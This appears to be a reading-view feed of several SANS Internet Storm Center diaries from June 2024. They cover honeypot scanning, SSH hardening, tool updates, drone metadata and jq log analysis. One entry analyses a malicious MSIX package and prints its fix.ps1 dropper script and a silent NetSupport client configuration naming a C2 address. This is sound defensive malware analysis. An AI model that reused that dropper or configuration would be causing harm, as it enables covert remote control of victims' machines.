Reading view

There are new articles available, click to refresh the page.

Configuration Scanners Adding Java Specific Configuration Files, (Mon, Jun 24th)

Hunting for configuration files is one of the favorite tricks we typically see used against our honeypots. Traditionally, standard and more generic configuration files like ".env" or ".config" are the target, with some cloud-specific configuration files sprinkled in.

Today, I noticed in our "First Seen URL" list a new variation that appears to target Java Spring configuration files. For example, the following files are now being hunted:

  • /src/main/resources/application-core.yml
  • /src/main/resources/appsettings.yml
  • /src/main/resources/config.yml

One particular active source of these scans is %%ip:43.133.9.79%%. This IP address, associated with Tencent's cloud data centers, started scanning for configuration files a couple of days ago and uses a very exhaustive list. For example, see Sunday's data: https://isc.sans.edu/weblogs/sourcedetails.html?date=2024-06-23&ip=43.133.9.79

These lists should be included in vulnerability scanners to proactively scan for any of these URLs in case they are accidentally exposed.

More details about the Spring YAML configuration files can be found here. The file often includes the names of servers in different environments (development vs. production) and may sometimes include usernames and passwords. Oddly, for "application-core.yml", Google only finds one example exposed. But typically, Google would not find these files as they are not exposed via links. An accidentally exposed directory index is the most likely issue that would expose these files to search engines like Google.

Screen shot of three newly scanned Java specific configuration files.

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Sysinternals' Process Monitor Version 4 Released, (Sat, Jun 22nd)

Version 4.01 of Sysinternals' Process Monitor (procmon) was released (just one day after the release of version 4.0).

These releases bring improvements to performance and the user interface.

And a new event for the Process start was added.

This can now be displayed as a column:

And it can also be used as a filter, for example to filter out all process that started before the new process you want to analyze:

Didier Stevens
Senior handler
blog.DidierStevens.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

No Excuses, Free Tools to Help Secure Authentication in Ubuntu Linux [Guest Diary], (Thu, Jun 20th)

[This is a Guest Diary by Owen Slubowski, an ISC intern as part of the SANS.edu BACS program]

Over the past 20 weeks I have had the privilege to take part in the SANS Internet Storm Center Internship. This has been an awesome chance to deploy and monitor a honeypot to explore what must be the fate of so many unsecured devices on the internet. Over the tenure here the one thing that was so shocking to me was not only the amount of devices that are conducting password attacks, but also the damage they could have done if their malware had been successful. Over the 20 weeks of this internship, I had more than 16,790 unique devices attempt to gain unauthorized access to my honeypot over SSH and Telnet from 49 different countries!


Figure1: DSheild SIEM graph displaying the different countries interacting with the honeypot

With the amount of threat actors out there it almost seems like a strong password policy isn’t enough on its own. And over the multitude of attack reports I wrote it always listed the same control that could have protected the system: MFA and filtering to protect the system. In my mind these solutions always imply a greater cost that is often outside of our reach as hobbyist and small organizations … Or are they?  Over the course of the next few pages, I look to discuss different technical controls I was first introduced to during the internship that can be applied to Ubuntu Linux at no cost and how they can help protect against these attempts to login by various threat actors.

All the testing done below will be done with 3 Linux boxes: Ubuntu-Secure (192.168.137.133) the server, Ubuntu-Client (192.168.137.135) the legitimate user, and Kali (192.168.137.134) the attacker.  Ubuntu-Secure has default SSH configurations and is easily guessed by the attacker using hydra and rockyou.txt in less than 2 minutes! 


Figure2: Demonstration of successful password guessing attack against ubuntu-client

TCP Wrappers 

One of the easiest ways to mitigate password attacks is to only allow legitimate IPs to access remote access protocols. This is usually done with either a host based firewall or a network firewall, but is there an easier and cheaper way? TCP Wrappers is a free tool that does just that. Like an ACL, TCP Wrapper allows us to specify what devices should and shouldn’t be allowed to access the service [1]! 


Figure3: The configurations added to host.allow  

Above we see our hosts.allow configuration file. In the first line we defined that the SSH service should allow access to 192.168.137.135 (Ubuntu-Client), and the second line functions as a default deny since there are no other legitimate users for this service[1]. Please note that the “All:DENY” statement can alternatively be placed in the host.deny file. There is functionally no difference between the two locations however I find placing both allow and deny statements in the hosts.allow makes for easier reading and troubleshooting. Below we can see that while Ubuntu-Client’s access is unencumbered, the attacker’s attempt has been completely blocked!


Figure4: Ubuntu-Client can successfully SSH to Ubuntu-Secure


Figure5: The attacker cannot connect!

Evidence of successful and refused connections can be found in /var/log/auth.log. This can be analyzed manually or ingested into a SIEM to assist in troubleshooting TCP wrapper rules, and to provide intelligence on adversaries attempting to access your device. Below we see an example log of Ubuntu-Client successfully connecting and evidence of the attacker Kali being refused.


Figure6: In green we see the successful connection and disconnect from Ubuntu-Client, and in red we see the blocked connection from the attacker Kali.

MFA for Ubuntu 

MFA is the most secure method of authentication hands down. Instead of opting for a pricey enterprise MFA solution like RSA or DUO in this section we will cover how to use Google authenticator to provide MFA for free! This is a super simple process:

First: install the Google authenticator with “sudo apt-get install libpam-google-authenticator”[2]


Figure7: Installation of Libpam-google-authenticator

Next use your favorite text editor edit the file /etc/pam.d/sshd and on line 2 add the text “auth required pam_google_authenticator.so”  to line 2 [2]. Then edit /etc/ssh/sshd_config and change the “ChallengeResponseAuthentication” to “yes” on line 63 [2].

Figure8: Addition to /etc/pam.d/sshd line 2 

Figure9: Edit to line 63 in the /etc/ssh/sshd_config file 

The final step is to run the command “google-authenticator” to finish setup [2]. This command will ask you five questions, and we answered them “yes, yes, yes, no, yes” as recommended by the Ubuntu.com tutorial [2]. There will also be a large QR code for you to scan to enroll the server into your Google authenticator app.


Figure10: The first lines of the google-authenticator command output with question 1


Figure11: The second half of the google-authenticator output with questions 2-5

Once enrolled restart the SSH service with “sudo systemctl restart sshd.service” then we are ready for a test! 

When attempting to log into Ubuntu-Secure we now see the first prompt of “verification code” which is found in our Google authentication app, and this code changes every 30 seconds. If our code was correct, then we will be prompted for our password and we are in!  


Figure12: Shows the new authentication workflow with Google authentication running 

While the ever-changing Google authenticator application is going to be near impossible to guess for an attacker, let’s run hydra against it for good measure. 


Figure13: The attacker can no longer brute force ubuntu-secure

After letting it run for a while, we can easily conclude that adding MFA thwarted this password guessing attack. 

Being in the IT and cybersecurity world it seems the costs of controls keeps going up and up. With all the new flashy tools coming out daily it’s easy to forget that there are tons of free tools that can be just as effective at stopping attacks. With limited time in our day to secure our personal infrastructure it’s refreshing to see how both these tools can be effectively deployed easily and quickly improve security! There truly is no excuse for unsecure authentication in 2024!

[1] https://ostechnix.com/restrict-access-linux-servers-using-tcp-wrappers/
[2] https://ubuntu.com/tutorials/configure-ssh-2fa#2-installing-and-configuring-required-packages
[3] https://www.sans.edu/cyber-security-programs/bachelors-degree/
-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Handling BOM MIME Files, (Wed, Jun 19th)

A reader contacted me with an eml file (which turned out to be benign) that emldump.py could not parse correctly.

I've written several diary entries explaining how to analyse MIME/eml files with my emldump.py tool, back in the days when threat actors were discovering all kinds of obfuscation tricks that I tried to defeat in my emldump.py tool.

The output of emldump.py for a sample MIME/eml file looks like this:

You can see the multipart structure with different parts (4 in this sample).

When emldump.py can not parse a file properly, there is no multipart structure, just text:

I try options -f to filter out obfuscated lines and -F to fix obfuscated lines, but that does not help:

So I need to take a look at the file content to see what is going on. I do a hex/ascii dump of the start of the file with my cut-bytes.py tool:

I see that the file starts with EF BB BF. If I remember correctly, this is a Unicode Byte Order Mark (BOM, Unicode character U+FEFF ZERO WIDTH NO-BREAK SPACE) represented in UTF-8.

I confirm this with my tool file-magic.py:

So it looks like the cullprit is the BOM (which is not necessary neither recommended for UTF-8 files). Let's check by removing the first 3 bytes of the file:

And now emldump.py can parse the file correctly.

So I released a new version of emldump.py that uses the Python codec utf-8-sig in stead of the utf-8 codec. utf-8-sig behaves just like utf-8, except that it drops the BOM when present. Now emldump.py can handle files like these too:

 

Didier Stevens
Senior handler
blog.DidierStevens.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Video Meta Data: DJI Drones, (Sun, Jun 16th)

Many years ago, I wrote about the EXIF data in pictures taken with Smartphones. Smartphones often record extensive meta data, including GPS and accelerometer data.

So I wondered how much similar data can be found in footage collected with a drone. As an example, I am using a DJI Mini Pro 4 drone. This is a very common and popular drone, and I have footage available.

The drone has the ability to record video as well as still photos. For the still photos, typically saved in JPG format, the data looks like what you expect from a smartphone. It includes camera parameters, date, time, and GPS coordinates (oddly, the height was VERY wrong in my sample if I used the "exists" tools, but inspecting it with a homemade tool, it looks better. Likely just an encoding issue)

Here is the complete EXIF data from a sample image

Tag Value
exiftags invalid field offset (Make)
exiftags maker note not supported
Camera-Specific Properties  
Camera Model FC8482
Camera Software 10.08.04.08
Maximum Lens Aperture f/1.7
Focal Length (35mm Equiv) 24 mm
Image-Specific Properties  
Image Orientation Top, Left-Hand
Horizontal Resolution 72 dpi
Vertical Resolution 72 dpi
Image Created 2024:03:20 11:43:03
Exposure Time 1/2500 sec
F-Number f/1.7
Exposure Program Normal Program
ISO Speed Rating 100
Lens Aperture f/1.7
Exposure Bias 0 EV
Subject Distance 0.00 m
Metering Mode Average
Light Source Daylight
Flash No Flash
Focal Length 6.72 mm
Color Space Information sRGB
Image Width 4032
Image Height 2268
Rendering Normal
Exposure Mode Auto
White Balance Auto
Scene Capture Type Standard
Gain Control None
Contrast Normal
Saturation Normal
Sharpness Normal
Latitude N [redacted]
Longitude W [redcated]
Altitude 4294927.26 m 
GPS Status Measurement In Progress
Geodetic Survey Data WGS-84

The coordinates are the coordinates of the drone, not the coordinates of the operator. The serial number of the drone is not displayed. Note that the serial number uses an "Unknown" exif tag and is only displayed with the -u option in exiftags

"Unknown Tags"

Attribute Value
Title default
GPS Info IFD Pointer 746
Unknown 972
Unknown 1100
Unknown 2
Manufacturer Notes 890
Supported FlashPix Version 808464688
Interoperability IFD Pointer 860
Device Settings 0
Unknown 6TVQL[redacted serial number]
Unknown 24
Unknown DJI FC8482
Unknown R98
Unknown 808464688

Some of the "Unknown" data may be sensitive, but I have not redacted it so far. Let me know if I should :)

The video data is a bit more complex. DJI saves 3 different files:

  • MP4 File: This is the main, full resolution video file
  • LRF File: Lower resolution video file
  • SRT File: A file with GPS coordinates in "Subtitle" format (more below)

Users sharing a file are most likely going to share the MP4 file. Like the JPEG, some metadata is embedded in the MP4 data stream. It is less verbose than the JPEG data, but it does include the drone's serial number. I did not find GPS data in the MP4 metadata. Just information about the camera and firmware.

hex dump of mp4 file

The SRT file contains some basic GPS data for each "time slice". In this format, it can easily be overlayed to the video file.

00:00:00,033 --> 00:00:00,066
<font size="28">FrameCnt: 2, DiffTime: 33ms
2024-03-20 12:59:17.852
[iso: 400] [shutter: 1/320.0] [fnum: 1.7] [ev: 2.0] [color_md: default] [focal_len: 36.30] [latitude: 30.xxxxxx] [longitude: -81.xxxxxx] [rel_alt: 6.500 abs_\
alt: -32.309] [ct: 5695] </font>

Again, only the drone's GPS data is saved, not the operator's location. It has been well documented that DJI includes the operator (or better controller) location in the datastream sent to the drone, in part to comply with regulations in some locales [1]. An image file doesn't necessarily give it away.

[1] https://www.wired.com/story/dji-droneid-operator-location-hacker-tool/

 

 

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

New NetSupport Campaign Delivered Through MSIX Packages, (Mon, Jun 17th)

It's amazing to see how attackers reuse and combine known techniques to target their victims with new campaigns! Last week, I spotted some malicious MSIX packages on VT that drop a NetSupport[1] client preconfigured to phone home to an attacker's controlled manager. Remote support tools are really "cool" for attackers because they provide a perfect way to communicate with infected computers without the need to develop their own C2 infrastructure and protocol! If some are popular and often searched as evidence of compromise, like AnyDesk or TeamViewer), there are others, like NetSupport, that tend to remain below the radar. This one is available for free for 30 days (more than enough to launch a campaign) and provides all the expected features to interact with victims:

Let's have a look at one example of a malicious MSIX file: update_12_06_2024_5903695.msix (SHA256:e77bd0bf2c2f5f0094126f34de49ea5d4304a094121307603916ae3c50dfcfe4). The file has a very low detection score (4/69)[2]. The file contains all the components to download and install the NetSupport client:

# zipdump.py update_12_06_2024_5903695.msix 
Index Filename                                            Encrypted Timestamp           
    1 Registry.dat                                                0 2024-06-12 08:10:20 
    2 User.dat                                                    0 2024-06-12 08:10:20 
    3 Assets/logo.png                                             0 2024-06-12 08:10:20 
    4 config.json                                                 0 2024-06-12 08:10:20 
    5 fix.ps1                                                     0 2024-06-12 08:10:20 
    6 PsfLauncher32.exe                                           0 2024-06-12 08:10:20 
    7 PsfLauncher64.exe                                           0 2024-06-12 08:10:20 
    8 PsfRunDll32.exe                                             0 2024-06-12 08:10:20 
    9 PsfRunDll64.exe                                             0 2024-06-12 08:10:20 
   10 PsfRuntime32.dll                                            0 2024-06-12 08:10:20 
   11 PsfRuntime64.dll                                            0 2024-06-12 08:10:20 
   12 Resources.pri                                               0 2024-06-12 08:10:20 
   13 StartingScriptWrapper.ps1                                   0 2024-06-12 08:10:20 
   14 VFS/ProgramFilesX64/7z2404-extra/7za.dll                    0 2024-06-12 08:10:20 
   15 VFS/ProgramFilesX64/7z2404-extra/7za.exe                    0 2024-06-12 08:10:20 
   16 VFS/ProgramFilesX64/7z2404-extra/7zxa.dll                   0 2024-06-12 08:10:20 
   17 VFS/ProgramFilesX64/7z2404-extra/arm64/7-ZipFar.dll         0 2024-06-12 08:10:20 
   18 VFS/ProgramFilesX64/7z2404-extra/arm64/7za.dll              0 2024-06-12 08:10:20 
   19 VFS/ProgramFilesX64/7z2404-extra/arm64/7za.exe              0 2024-06-12 08:10:20 
   20 VFS/ProgramFilesX64/7z2404-extra/arm64/7zxa.dll             0 2024-06-12 08:10:20 
   21 VFS/ProgramFilesX64/7z2404-extra/Far/7-ZipEng.hlf           0 2024-06-12 08:10:20 
   22 VFS/ProgramFilesX64/7z2404-extra/Far/7-ZipEng.lng           0 2024-06-12 08:10:20 
   23 VFS/ProgramFilesX64/7z2404-extra/Far/7-ZipFar.dll           0 2024-06-12 08:10:20 
   24 VFS/ProgramFilesX64/7z2404-extra/Far/7-ZipFar64.dll         0 2024-06-12 08:10:20 
   25 VFS/ProgramFilesX64/7z2404-extra/Far/7-ZipRus.hlf           0 2024-06-12 08:10:20 
   26 VFS/ProgramFilesX64/7z2404-extra/Far/7-ZipRus.lng           0 2024-06-12 08:10:20 
   27 VFS/ProgramFilesX64/7z2404-extra/Far/7zToFar.ini            0 2024-06-12 08:10:20 
   28 VFS/ProgramFilesX64/7z2404-extra/Far/far7z.reg              0 2024-06-12 08:10:20 
   29 VFS/ProgramFilesX64/7z2404-extra/Far/far7z.txt              0 2024-06-12 08:10:20 
   30 VFS/ProgramFilesX64/7z2404-extra/history.txt                0 2024-06-12 08:10:20 
   31 VFS/ProgramFilesX64/7z2404-extra/License.txt                0 2024-06-12 08:10:20 
   32 VFS/ProgramFilesX64/7z2404-extra/readme.txt                 0 2024-06-12 08:10:20 
   33 VFS/ProgramFilesX64/7z2404-extra/x64/7za.dll                0 2024-06-12 08:10:20 
   34 VFS/ProgramFilesX64/7z2404-extra/x64/7za.exe                0 2024-06-12 08:10:20 
   35 VFS/ProgramFilesX64/7z2404-extra/x64/7zxa.dll               0 2024-06-12 08:10:20 
   36 VFS/ProgramFilesX64/client2.7z                              0 2024-06-12 08:10:20 
   37 VFS/ProgramFilesX64/PsfRunDll64.exe                         0 2024-06-12 08:10:20 
   38 AppxManifest.xml                                            0 2024-06-12 08:10:20 
   39 AppxBlockMap.xml                                            0 2024-06-12 08:10:20 
   40 [Content_Types].xml                                         0 2024-06-12 08:10:20 
   41 AppxMetadata/CodeIntegrity.cat                              0 2024-06-12 08:10:20 
   42 AppxSignature.p7x                                           0 2024-06-12 08:10:48 

You can see that a portable 7zip version is included in the file. It will be used to unpack the NetSupport client stored in the client2.7z file. Everything will happen in fix.ps1:

# zipdump.py update_12_06_2024_5903695.msix -s 5 -d
$url = "https://www.google.com/intl/en_en/chrome/"
Start-Process $url

$domain = Get-WmiObject Win32_ComputerSystem | Select-Object -ExpandProperty Domain

if ($domain -eq "WORKGROUP") {
} else {
    cmd /c "VFS\ProgramFilesX64\7z2404-extra\7za.exe e VFS\ProgramFilesX64\client2.7z -oC:\Users\Public\Documents\Client -p88888888"
    cmd /c "VFS\ProgramFilesX64\7z2404-extra\7za.exe e C:\Users\Public\Documents\Client\client1.7z -oC:\Users\Public\Documents\Client -p88888888"
    $path = "C:\Users\Public\Documents\Client\client32.exe"
    Start-Process $path
}

First, the script will open a browser and display the Chrome download page to defeat the victim. Then, the script will verify if the computer is part of a Microsoft domain (read: a corporate computer). If not, the client won't be installed. 

The NetSupport client is double-compressed in client2.7z then client1.7z:

# 7z l client1.7z 

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs Intel(R) Core(TM) i9-9980HK CPU @ 2.40GHz (906ED),ASM,AES-NI)

Scanning the drive for archives:
1 file, 1510337 bytes (1475 KiB)

Listing archive: client1.7z

--
Path = client1.7z
Type = 7z
Physical Size = 1510337
Headers Size = 545
Method = LZMA2:6m BCJ 7zAES
Solid = +
Blocks = 2

   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2024-06-12 10:47:36 D....            0            0  client
2024-06-12 08:07:49 ....A          652          960  client/client32.ini
2007-07-06 13:07:32 ....A          328               client/nskbfltr.inf
2024-06-12 10:49:40 ....A         1369               client/NSM.LIC
2010-04-27 05:26:38 ....A           46               client/nsm_vpro.ini
2016-12-07 00:03:12 ....A        93560      1508832  client/AudioCapture.dll
2024-06-12 10:48:13 ....A        55459               client/client32.exe
2016-04-26 20:55:34 ....A       328056               client/HTCTL32.DLL
2015-04-24 17:27:28 ....A       773968               client/msvcr100.dll
2016-04-26 20:59:04 ....A        33144               client/pcicapi.dll
2016-04-26 20:59:10 ....A        18808               client/PCICHEK.DLL
2023-06-11 18:51:36 ....A      3710280               client/PCICL32.DLL
2023-06-13 13:01:09 ....A        63320               client/remcmdstub.exe
2023-06-13 13:35:38 ....A       391832               client/TCCTL32.DLL
------------------- ----- ------------ ------------  ------------------------
2024-06-12 10:49:40            5470822      1509792  13 files, 1 folders

The client32.ini discloses the IP address of the NetSupport Manager (the C2):

# cat client/client32.ini 
0x1c42f29c

[Client]
_present=1
AlwaysOnTop=0
AutoICFConfig=1
DisableChat=1
DisableChatMenu=1
DisableDisconnect=1
DisableMessage=1
DisableReplayMenu=1
DisableRequestHelp=1
Protocols=3
Shared=1
silent=1
SKMode=1
SOS_Alt=0
SOS_LShift=0
SOS_RShift=0
SysTray=0
UnloadMirrorOnDisconnect=0
Usernames=*
ValidAddresses.TCP=*

[_Info]
Filename=C:\Users\Public\Pictures\client32u.ini

[_License]
quiet=1

[Audio]
DisableAudioFilter=1

[General]
BeepUsingSpeaker=0

[HTTP]
CMPI=60
GatewayAddress=38[.]135[.]52[.]140:443
GSK=GK;OAKDA9C<I?PBGFF9F>D@KHF:J<P
SecondaryGateway=
SecondaryPort=443

[TCPIP]
MulticastListenAddress=

The C2 server (down at this time) is 38[.]135[.]52[.]140 and uses HTTPS. GSK is the shared key used to encrypt communications.

Note the first line (the hex value): It's a checksum of the configuration file. Any change in the file will make it unusable. But, NetSupport has a great support tool called cksini.exe that helps to generate the checksum of a manually edited configuration file:

C:\Temp>cksini
Generate checksum for .INI file
Checksum is: 0xfbaa0e3e
Output is in file: client32.ini

Malicious MSIX files are not new[3], NetSupport has already been heavily used by attackers in the past[4]  but they remain a very good combination to compromise more victims and... at a very low cost for attackers!

[1] https://www.netsupportmanager.com
[2] https://www.virustotal.com/gui/file/e77bd0bf2c2f5f0094126f34de49ea5d4304a094121307603916ae3c50dfcfe4
[3] https://isc.sans.edu/diary/Redline+Dropped+Through+MSIX+Package/30404
[4] https://isc.sans.edu/diary/sczriptzzbn+inject+pushes+malware+for+NetSupport+RAT/29170

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Overview of My Tools That Handle JSON Data, (Sat, Jun 15th)

I wrote a couple of diary entries showing my tools that produce and consume JSON data. Like "Analyzing PDF Streams", "Another PDF Streams Example: Extracting JPEGs" and "Analyzing MSG Files".

The tools than can produce MyJSON output (option –jsonoutput) to stdout are:

The tools than can accept MyJSON input (option –jsoninput) from stdin are:

The tools than only accept MyJSON input from stdin are:

And if you want to write your own program that can process MyJSON data, my Python program template for binary files process-binary-files.py also supports this format.

Didier Stevens
Senior handler
blog.DidierStevens.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

The Art of JQ and Command-line Fu [Guest Diary], (Thu, Jun 13th)

[This is a Guest Diary by Kaela Reed, an ISC intern as part of the SANS.edu BACS program]

Viewing logs from a command-line can make it difficult to extract meaningful data if you’re unfamiliar with the utilities. While there is a learning curve to working with command-line utilities to sort through logs, they are efficient, flexible, and easy to incorporate into scripts. Using tools like jq, cut, sort, and wc, we can extract details from logs to gather statistics and help us build context from attacks.

What is JSON?

JavaScript Object Notation (JSON) is a log format that is a lightweight and structured data-interchange format [1]. JSON is a common format used for logs and APIs because it’s easy for machines to parse. The simple structure also makes it easy for humans to read, especially when used in conjunction with a utility called jq (JSON Query), which we will revisit after we cover the basics of JSON.

Objects

JSON uses curly braces to hold “objects,” which contain unordered key/value pairs [2]. A key/value pair is separated by a colon and each key/value pair is separated by a comma. You might recognize this format if you’ve ever decoded a JWT (JSON Web Token):
{
  "alg": "HS256",
  "typ": "JWT"
}

Arrays

JSON also uses ordered lists called “arrays” which can be contained within objects:
{
"method": "POST",
"url": "/aws/credentials",
“useragent”: [
 "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36"                                             
]
}

JQ to the Rescue

The jq tool is a free, open-source JSON processor written in portable C programming and has no runtime dependencies. It’s easy to parse and filter through JSON logs with jq and it’s already packaged in major distributions of Linux, but you can also download it [3].

Extracting Data from Logs

If we read a JSON file using the cat utility in Linux, it can be difficult to sort through the information:

This is where jq comes in handy! Using jq, we can interact with the data from JSON logs in a meaningful way. 
To read a JSON log with jq, we can either cat the file and pipe it through jq, or use the command:
jq . <filename>

Using jq with JSON logs makes it easier for the reader to sort through the data. However, simply printing the log to the screen isn’t enough to extract meaningful information when you’re dealing with large log files and thousands or more records to sort through.

Finding Keys

Recall that JSON consists of key/value pairs. We can list all the keys in a JSON file to help us extract specific information later:
cat logs/web/webhoneypot-2024-04-20.json | jq 'keys'

Source IPs

There’s a key named “sip” which stores source IP addresses. We can filter data by using dot notation with .<field name> [4]. To extract the source IPs from the JSON file, we can use .sip. Let’s look at all the source IPs in the log file by using jq, then pipe it to sort and remove the quotation marks in the output:
cat honeypot/logs/web/webhoneypot-2024-04-20.json | jq '.sip' | sort -u | tr -d "\""

Even better, we could use jq -r for raw output instead of using the tr utility to get rid of the quotation marks.
cat honeypot/logs/web/webhoneypot-2024-04-20.json | jq -r '.sip' | sort -u

Piping the previous command to wc -l, we can count how many lines there are, which will also tell us how many source IP addresses we have:
cat honeypot/logs/web/webhoneypot-2024-04-20.json | jq -r '.sip' | sort -u | wc -l

Extracting URIs

URIs are stored in the field name "url." The following command will print every URI in the log on separate lines:
cat logs/web/webhoneypot-2024-04-20.json | jq '.url'

Piping the previous command to wc -l, we can count the number of URIs, which is 105,218. That’s a lot! 

However, if we pipe the jq command to sort, we will see there are duplicate values. Many of the same URIs were visited multiple times and from multiple IP addresses.

To extract a list of unique URIs and get rid of the duplicates, we can follow the same method in the last example by sorting the URIs, but pipe the command through sort or uniq.

We have 510 unique URIs visited!

Extracting Multiple Elements

We can also extract multiple elements and separate them into objects:
cat logs/web/webhoneypot-2024-04-20.json | jq 'select(.sip == "75.101.186.148") | {time, sip, url}' > dirb-attack.json

Alternative Ways with Arrays

Why did the programmer quit his job?

Because he didn’t get arrays!

In JSON, we can convert fields into different data types. In the last example, we extracted multiple elements and placed them into objects. We could also extract multiple elements and convert them to arrays: 
cat honeypot/logs/web/webhoneypot-2024-04-20.json | jq 'select(.sip == "75.101.186.148") | [.time, .sip, .url]'

With arrays, we can access the data with an index number. If we want to look at the 3rd element, which consists of URIs, we can reference the index value. With indexing, the first element starts at 0, so if we want to look at the 3rd element, we need to use an index of 2. We can then pipe that to sort -u to sort unique URIs alphabetically:

cat honeypot/logs/web/webhoneypot-2024-04-20.json | jq 'select(.sip == "75.101.186.148") | [.time, .sip, .url]' | jq -r .[2] | sort -u

We can also grab only the URIs, join each one with a new line, sort and count how many unique URIs there are:
cat honeypot/logs/web/webhoneypot-2024-04-20.json | jq -r 'select(.sip == "75.101.186.148") | [.url] | join("\n")' | sort -u | wc -l

Converting to CSV Format

We can take different fields from JSON and convert that data into a CSV format [5]. Let’s take the "time", "sip" and "url" fields, then convert the data to a CSV and open it in a spreadsheet editor.
cat honeypot/logs/web/webhoneypot-2024-04-20.json | jq -r 'select(.sip == "75.101.186.148") | [.time,.sip,.url] | @csv' > attack.csv

What is Directory Busting?

In the following example, we’re going to extract useful information from a directory busting attack that came from one specific IP address, but first, what is directory busting?

Directory Busting (Forced Browsing) is a technique used to discover hidden webpages and files on a webserver [6]. This can be done manually by sending HTTP requests to the server requesting common page names and files, however, this is often performed with automated tools and scripts. Automation allows for hundreds or thousands of requests to different URIs in a short period of time. The goal of this kind of attack is to discover sensitive information, map the attack surface, and identify interesting pages (like administrative login pages) that could contain vulnerabilities.

Finding How Many Unique URIs an Attacker Probed

Let’s first look at all entries from the attacker’s IP and send that the output to a separate JSON file:

cat webhoneypot-2024-04-20.json | jq 'select(.sip == "75.101.186.148")’ > ip_75.101.186.148.json

If we want to make sure this worked, we can list all the source IPs in the new file we created to make sure the logs are only from the attacker IP address 75.101.186.148:
cat ip_75.101.186.148.json | jq -r '.sip' | sort -u

Perfect! The new file only contains logs from the source IP of 75.101.186.148. If we use the wc utility, we see there are 104,196 entries from that one IP!

Looking at the time stamps, these attacks occurred in a very short amount of time (roughly 5 minutes). This is typical in an automated attack like directory busting.
Let’s pipe the URIs through sort, then count how many different URIs were probed by this attacker:
cat ip_75.101.186.148.json | jq '.url' | sort -u | wc -l

The attacker IP 75.101.186.148 probed 452 unique URIs on the webserver. Looking at the Internet Storm Center’s Report on the attacker IP, that is an accurate number [7]. Although directory busting attacks can be accomplished with brute-force techniques, these are usually accomplished as dictionary attacks. The threat actor has been reported multiple times and has probed the same number of unique URLs each time, so the attacker is likely using the same wordlist to perform the directory busting attack:

The previous commands in the directory busting scenario were run separately, but could have been performed with one command to achieve the same result:
cat honeypot/logs/web/webhoneypot-2024-04-20.json | jq 'select(.sip == "75.101.186.148") | (.url)' | sort -u | wc -l

Conclusion

These examples weren’t the only ways we could’ve arrived with the same outcome. This is the wonderful thing about using command-line fu! There isn’t just ONE way to reach the same answer and that’s part of what can make log analysis within the command-line fun! We’ve merely scratched the surface with jq, but there is a website you can go to paste JSON data and practice with jq, called JQ Play [8]. 

Keep practicing the art of command-line fu, grasshopper!

Cheat Sheet

[1] JSON.org. “Introducing JSON.” Json.org, www.json.org/json-en.html. Accessed 28 May 2024.
[2] w3schools. “JSON Syntax.” W3schools.com, 2019, www.w3schools.com/js/js_json_syntax.asp. Accessed 28 May 2024.
[3] jqlang.io. “Download jq,” jqlang.github.io. https://jqlang.github.io/jq/download. Accessed May 28, 2024).
[4] “How to Use JQ to Process JSON on the Command Line.” Linode Guides & Tutorials, 5 Nov. 2021, www.linode.com/docs/guides/using-jq-to-process-json-on-the-command-line/. Accessed 28 May 2024.
[5] Ramanujam, Sriram. “How to Convert JSON to CSV in Linux.” Baeldung, 13 Dec. 2023, www.baeldung.com/linux/json-csv. Accessed 28 May 2024.
[6] OWASP. “Forced Browsing.” Owasp.org, owasp.org/www-community/attacks/Forced_browsing. Accessed 28 May 2024.
[7] Internet Storm Center. “IP Info: 75.101.186.148.” SANS Internet Storm Center, https://isc.sans.edu/ipinfo/75.101.186.148. Accessed 28 May 2024.
[8] jqlay. “Jq Play.” Jqplay.org, jqplay.org. Accessed 28 May 2024.
[9] https://www.sans.edu/cyber-security-programs/bachelors-degree/
-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Port 1801 Traffic: Microsoft Message Queue, (Wed, Jun 12th)

I planned a bit a more conclusive story here, but after running into issues decoding the packets and running out of time between looking at student papers, I figured I would leave it up to the audience ;-) Maybe someone here better understands the Microsoft Message Queue (MSMQ) protocol.

Yesterday's Microsoft patch Tuesday included a single critical vulnerability, a code execution vulnerability in MSMQ. I noted in the podcast that we see some "background hum" on port 1801, the port used by MSMQ.

port 1801 traffic

So I fired up some netcat listeners on port 1801, and after a short wait, this is what I got:

(this is the TCP payload. I removed IP and TCP header)

0000   10 c0 0b 00 4c 49 4f 52 3c 02 00 00 ff ff ff ff   ....LIOR<.......
0010   00 00 02 00 d1 58 73 55 50 91 95 95 49 97 b6 e6   .....XsUP...I...
0020   11 ea 26 c6 07 89 cd 43 4c 39 11 8f 44 45 90 78   ..&....CL9..DE.x
0030   90 9e a0 fc 4e ca de 1d 10 03 00 00 00 00 00 00   ....N...........

 

The entire payload had 572 bytes, but I removed the trailing 0-bytes.

Any idea? The bit of decoding I did so far suggests that this is MSMQ, and likely just checking if I am running a MSMQ server. What response should I return?

 

thanks!
 

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

